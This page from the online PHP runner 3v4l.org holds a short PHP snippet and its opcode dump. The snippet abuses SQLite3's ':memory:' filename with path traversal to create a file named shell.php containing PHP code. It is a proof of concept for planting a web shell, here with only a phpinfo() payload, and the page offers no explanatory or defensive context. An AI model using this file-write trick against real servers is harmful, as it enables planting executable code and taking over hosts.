3v4l.org

run code in 300+ PHP versions simultaneously
<?php chdir('/tmp'); mkdir(':memory:'); $database = new SQLite3(":memory:/../../shell.php"); $database->exec("CREATE TABLE foo (bar STRING)"); $database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')"); $database->close(); rmdir(':memory:'); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Qe1fY
function name:  (null)
number of ops:  22
compiled vars:  !0 = $database
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'chdir'
          1        SEND_VAL                                                 '%2Ftmp'
          2        DO_ICALL                                                 
    3     3        INIT_FCALL                                               'mkdir'
          4        SEND_VAL                                                 '%3Amemory%3A'
          5        DO_ICALL                                                 
    4     6        NEW                                              $3      'SQLite3'
          7        SEND_VAL_EX                                              '%3Amemory%3A%2F..%2F..%2Fshell.php'
          8        DO_FCALL                                      0          
          9        ASSIGN                                                   !0, $3
    5    10        INIT_METHOD_CALL                                         !0, 'exec'
         11        SEND_VAL_EX                                              'CREATE+TABLE+foo+%28bar+STRING%29'
         12        DO_FCALL                                      0          
    6    13        INIT_METHOD_CALL                                         !0, 'exec'
         14        SEND_VAL_EX                                              'INSERT+INTO+foo+%28bar%29+VALUES+%28%27%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%27%29'
         15        DO_FCALL                                      0          
    7    16        INIT_METHOD_CALL                                         !0, 'close'
         17        DO_FCALL                                      0          
    8    18        INIT_FCALL                                               'rmdir'
         19        SEND_VAL                                                 '%3Amemory%3A'
         20        DO_ICALL                                                 
    9    21      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
161.12 ms | 1395 KiB | 19 Q